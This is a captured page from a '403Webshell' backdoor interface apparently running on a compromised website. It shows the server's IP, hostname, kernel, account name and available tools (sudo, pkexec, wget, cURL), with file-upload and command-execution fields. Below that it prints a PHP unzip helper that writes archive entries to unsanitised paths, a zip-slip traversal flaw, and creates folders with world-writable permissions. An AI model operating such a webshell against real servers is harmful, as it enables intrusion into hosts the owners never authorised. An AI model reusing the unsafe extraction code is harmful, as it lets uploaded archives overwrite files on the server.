403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/playwithfaye.com/public_html/free2/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/playwithfaye.com/public_html/free2/fnc/function_unzip.php
<?php



  function unzipFile($filename, $destination_folder) {
     require_once ('unzip.lib.php');
	/*========================================================
	|
	| unzip files using SimpleUnzip
	|
	| License: Use it, copy it, but leave my copyright where it is, 
	| otherwise, create your own code, thank you!
	|
	| coded by Vladimir Ghetau (c) 2007 pixeltomorrow.com
	|
	|
	|
	| http://www.vladimir.pixeltomorrow.com
	| 
	| 
	| 
	| usage:
	|
	|  if (@function_exists('gzinflate')) { 
	| 
	|     $filename = 'uploads/zipped.zip';
	|     $destionation_folder = 'unzipped/';
	|     require_once ('../../fit/admin/unzip.lib.php');
	|     unzipFile($filename, $destination_folder);
	|
	|  } else {
	| 
	|     die ('gzinflate() is missing!');
	|
	|  }
	|
	|
	| Enjoy!
	|
	|
	========================================================*/
                                                   
        if ($filename == '') die ('Please enter a file name first of all!');

        if ($destination_folder == '') die ('The path you specified is empty!');
    
        if (substr($destination_folder, -1) != '/') {
                                                          
            $destination_folder = $destination_folder .'/';
                                                          
        }
                                                        
                                                          
     $vzip = new SimpleUnzip($filename);

          foreach ($vzip->Entries as $extr) {
          
              $path = $extr->Path;
              $path_folder = explode ('/', $path);
              $new_path = '';
              
                  foreach ($path_folder as $folder) {
                  
                      $new_path .= $folder .'/'; 
                  
                      $to_create = $destination_folder . $new_path;
                      
                          if (substr($to_create, -1) == '/') {
                          
                            $to_create = substr($to_create, 0, strlen($to_create)-1);
                          
                          }
                      
                      @mkdir($to_create, 0777);
                  
                  }
          
              $new_path = '';
              $filev = fopen ($destination_folder. $extr->Path .'/'. $extr->Name, 'w');
              fwrite ($filev, $extr->Data);
              fclose ($filev);
                                                        
          }
          
                                                         

  }


?>

Youez - 2016 - github.com/yon3zu
LinuXploit